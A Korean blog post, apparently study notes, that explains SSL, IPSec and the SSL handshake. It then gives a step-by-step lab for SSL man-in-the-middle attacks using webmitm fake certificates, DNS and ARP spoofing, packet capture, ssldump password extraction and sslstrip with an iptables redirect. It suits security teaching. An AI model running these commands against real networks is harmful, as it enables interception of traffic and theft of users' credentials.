본문 바로가기

IT Infra./Server

SSL MITM

SSL MITM

SSL(Secure Socket Layer)

- Netscape사에서 웹 서버와 브라우저 간의 보안 통신을 위해 만든 암호화 Protocol이다.

- 웹 서버와 브라우저에서 사용하는 암호화 Protocol이다.

- 전자상거래 사이트에 접속하여 물건을 구매하거나, 신용카드 정보 등을 보낼 때 사용된다.

- 브라우저만 있으면 사용이 가능하다

- 암호화/복호화는 웹 페이지에 내장된 SSL 모듈을 통해 일어난다.


─> https : 세션 전체가 암호화된다.

─> Symmetric Cryptography 사용



IPSec

- 기존의 IP 프로토콜에 인증과 암호화 기능을 추가한 것이다.

- OSI 7 Layer 중 3계층(Network Layer)에서 동작하기 때문에 IP를 통해 전송되는 모든 트래픽을 암호화

- 서로 다른 네트워크 대역을 마치 로컬 대역처럼 접근할 수 있도록 하기 위해 암복호화 장치가 필요하다.

- IPSec 장비 사이에서만 데이터가 암호화/복호화 됨으로 실제 내부에서의 데이터 보안성은 장담 할 수 없다.

- 커널은 수정해야 하기 때문에 설치가 복잡하고 플랫폼 별로 호환이 잘되지 않는다.



SSL 동작 과정

- [브라우저] 보안페이지 요청한다. (http://)

- [웹 서버] 자신의 공개키를 인증서와 함께 브라우저에게 보낸다.

- [브라우저] 웹 서버가 보낸 인증서를 확인한다.

  ┌ trusted root CA에 서명되었는가?

  │ 인증서 날짜가 아직 유용한가?

  └ 접속하려는 사이트가 연관 있는 인증서인가?

- [브라우저] 인증서가 확인되면 Session키를 생성하여 웹 서버의 공개키로 암호화 한 후 송신한다.

  └ 이 때 보내는 URL이나 HTTP 데이터는 Session 키로 암호화 되어있다.

- [웹 서버] 개인키를 이용하여 Session 키를 풀고, Session키를 이용하여 URL이나 HTTP 데이터들의 암호를 푼다.

- [웹 서버] HTTP Request 처리 결과를 대칭키를 이용하여 암호화 한 후 전송한다.

- [웹 브라우저] 대칭키를 이용하여 HTTP Response 데이터를 풀고 브라우저에 출력한다.



SSL Handshaking




SSL MITM

◈ SSL MITM 공격원리

- Symmetric Crytography를 사용함으로 키 동기화 과정이 필요하다.

- 키 동기화는 Key Wrapping 방식을 사용한다.

- 공개키를 인증하기 위해 인증서를 사용한다.



SSL MITM 개념도


Remote SSL MITM 개념도



SSL MITM 실습

◈ 사용 기법

- Webmitm

  ┌ 가짜 인증서를 생성한다.

  │ Proxy type의 MITM 툴로 80번 port를 리스닝한다.

  │ HTTP의 Header를 확인 후 패킷을 Relay시킨다.

  └ #webmitm -d

- DNS Spoofing

- ARP Cache Poisoning

- Packet Sniffing

  └ tethereal : ethereal의 TUI버전

- ssldump

  ┌ ssldump -a -d -k webmitm.crt -r capture

  └ webmitm.crt의 Key를 이용하여 캡쳐 된 패킷을 복호화 한다.


 webmitm을 이용하여 가짜인증서를 생성한다.

  └ webmitm -d

┌ 인증서에 입력할 내용을 모두 공백으로 채운다.

└ 인증서가 생성되면 자동으로 80, 443번 port를 리스닝한다.


 리스닝 중인 port를 확인한다.


◈ IP Forwarding

- fragrouter -B1


◈ dnsspoofing

- dnsspoof가 사용할 host목록 파일을 작성한다.

Ex) 10.10.10.10 www.google.co.kr

- dnsspoof를 실행한다.

 Ex) dnsspoof -f hosts.dnsspoof


◈ 게이트웨이를 공격자의 MAC 주소로 ARP Spoofing한다.

Ex) arpspoof 10.10.10.20


◈ ethereal을 띄어 패킷을 수집한다.(packet을 보는 program)

- ethereal -w capture


◈ windows에서 www.google.co.kr 사이트에 접속한다.

└ 혹시 안되면 ssl 캐시를 지운다. 


◈ 로그인을 누르면 인증서 창이 뜬다.


◈ 확인을 누르고 ID와 Password를 입력한다.


◈ 정상적으로 로그인 되었다.


◈ 이제 다시 whoppix로 돌아와서 ethereal을 종료한다.


◈ ssldump를 이용해 패킷을 복호화 한 후 Password 부분을 찾는다.

- ssldump -d -k webmitm.crt -r capture | grep Passwd


◈ ID와 Password를 확인할 수 있다.



SSL MITM Attack

1) sslstrip download

- http://www.thoughtcrime.org/software/sslstrip/index.html


2) sslstrip 설치

- BackTrack에서 sslstrip 압축을 풀고 설치

  ┌ tar zxvf sslstrip-0.9.tar.gz

  └ python setup.py install


3) ARP Spoof를 사용하여 Victim Packet을 공격자에게 우회

  ┌ arpspoof -i eth0 -t 10.10.10.10 10.10.10.254

  └ arpspoof -i eth0 -t 10.10.10.254 10.10.10.10


4) Fragrouter를 이용한 Normal Routing 또는 IP Fowarding을 사용하여 Packet Forwarding을 활성화

- fragrouter -B1

  or

  echo "1" > /proc/sys/net/ipv4/ip_forward


5) Packet Redirect

- 공격자 PC에서 80번으로 들어오는 패킷을 sslstrip에서 Listening하고 있는 10000번 포트로 redirect한다.

  └ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000


6) sslstrip 실행

- python sslstrip.py -w test.log


7) XP Client에서 SSL을 사용하는 http 사이트에 로그인 한 후 BackTrack에 기록된 test.log를 확인